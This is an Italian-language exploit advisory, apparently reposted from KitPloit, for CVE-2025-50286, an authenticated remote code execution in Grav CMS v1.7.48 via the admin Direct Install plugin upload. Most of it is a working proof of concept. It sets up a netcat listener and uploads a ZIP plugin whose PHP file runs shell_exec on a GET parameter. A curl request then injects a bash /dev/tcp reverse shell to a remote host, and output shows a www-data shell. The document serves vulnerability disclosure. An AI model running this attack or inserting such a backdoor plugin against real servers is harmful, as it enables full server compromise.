Grav CMS v1.7.48 / Admin Plugin v1.10.48 - RCE autenticata tramite upload di plugin (CVE-2025-50286)

Grav CMS v1.7.48 con Admin Plugin v1.10.48 è vulnerabile a Remote Code Execution (RCE) tramite la funzionalità di upload dei plugin "Direct Install", consentendo ad amministratori autenticati di eseguire codice PHP arbitrario sul server.

CVE ID

CVE-2025-50286

Riepilogo

• Tipo: RCE autenticata (Remote Code Execution)
• Posizione: /admin/tools/direct-install (Pannello di amministrazione > Strumenti > Installazione diretta)
• Impatto: Esecuzione di codice PHP arbitrario e potenziale compromissione completa del sistema
• Autenticazione richiesta: Sì (accesso amministratore)
• Versione interessata: Grav CMS v1.7.48 / Admin Plugin v1.10.48

Prova di concetto

1. Preparare un listener:

   root@kitploit:~

   nc -lvnp 4444
   

2. Accedere al Pannello di amministrazione di Grav come amministratore.

3. Andare su Tools > Direct Install

4. Caricare un plugin ZIP malevolo (evilplugin.zip) strutturato come segue:

   root@kitploit:~

   evilplugin/
   ├── evilplugin.php         ← contains: shell_exec($_GET['cmd'])
   └── blueprints.yaml        ← minimal blueprint to pass validation
   

5. Innescare la reverse shell:

   root@kitploit:~

   curl --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/host.docker.internal/4444 0>&1'" http://<target>/
   

6. Reverse shell ricevuta:

   root@kitploit:~

   $ nc -lvnp 4444
   Listening on 0.0.0.0 4444
   Connection received on <target-ip>
   www-data@target:/var/www/html$ whoami
   www-data
   

Componente interessato

• Endpoint: /admin/tools/direct-install
• Funzionalità: upload dei plugin e autoload senza validazione

Testato su

• Debian 11
• Apache2 + PHP 7.4
• Grav CMS v1.7.48 (con Admin Plugin v1.10.48)

Scopritore

@binneko

Riferimenti

• Grav CMS GitHub
• Record CVE - CVE-2025-50286

Disclaimer

Solo per scopi educativi e difensivi.